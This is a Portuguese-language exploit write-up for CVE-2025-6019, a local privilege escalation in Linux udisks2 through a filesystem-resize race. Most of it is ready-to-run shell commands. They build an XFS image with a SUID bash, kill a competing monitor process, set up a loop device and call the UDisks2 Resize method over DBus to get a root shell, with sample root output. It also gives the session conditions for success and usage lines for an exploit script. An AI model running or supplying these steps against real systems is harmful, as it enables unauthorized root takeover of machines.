CVE-2025-6019: Exploração de Elevação de Privilégio via Redimensionamento de Sistema de Arquivos UDisks2

Detalhes da Vulnerabilidade

• CVE ID: CVE-2025-6019
• Impacto: Elevação Local de Privilégio (LPE)
• Sistemas Afetados: Sistemas Linux com versões vulneráveis do udisks2
• Mecanismo: Condição de corrida durante o redimensionamento do sistema de arquivos permite acesso a binários SUID em diretórios temporários graváveis por todos
• Componentes Chave:
  • serviço udisks2 (interface DBus)
  • método org.freedesktop.UDisks2.Filesystem.Resize
  • Pontos de montagem temporários em /tmp/blockdev*

Fluxo de Trabalho do Exploit

1. Prepare a Imagem Maliciosa do Sistema de Arquivos (Atacante)

dd if=/dev/zero of=./xfs.image bs=1M count=300
mkfs.xfs ./xfs.image
mkdir ./xfs.mount
mount -t xfs ./xfs.image ./xfs.mount
cp /bin/bash ./xfs.mount
chmod 04555 ./xfs.mount/bash  # Set SUID bit
umount ./xfs.mount 

2. Dispare o Exploit (Máquina da Vítima)

# Verify system capabilities
gdbus call --system --dest org.freedesktop.login1 \
  --object-path /org/freedesktop/login1 \
  --method org.freedesktop.login1.Manager.CanReboot

# Clear interference
killall -KILL gvfs-udisks2-volume-monitor

# Setup loop device
udisksctl loop-setup --file ./xfs.image --no-user-interaction

# Background watcher (executes when SUID binary appears)
while true; do 
  /tmp/blockdev*/bash -c 'sleep 10; ls -l /tmp/blockdev*/bash' && break
done 2>/dev/null &

# Trigger vulnerability via DBus
gdbus call --system --dest org.freedesktop.UDisks2 \
  --object-path /org/freedesktop/UDisks2/block_devices/loop0 \
  --method org.freedesktop.UDisks2.Filesystem.Resize 0 '{}'

3. Obtenha Acesso Root

/tmp/blockdev*/bash -p  # Launch privileged shell
id
# uid=65534(nobody) gid=65534(nobody) euid=0(root)

Importante!

O exploit funciona apenas em sessão logind!

• O script deve ser executado a partir de uma sessão logind que esteja Active=yes e Remote=no (ex: tty1).
• Quando iniciado a partir de uma sessão SSH / pts/* / reverse-shell, a chamada udisksctl loop-setup --no-user-interaction é negada pelo polkit, então o PoC falha com
  “Falha ao criar dispositivo de loop”.

Aviso:

• Se quiser usar o exploit via SSH, você deve descartar a regra temporária do polkit

Como usar o exploit

Criar imagem suid

$ sudo bash exploit.sh create 

explorar sistema

$ bash exploit.sh exploit 

Vídeo da Prova de Conceito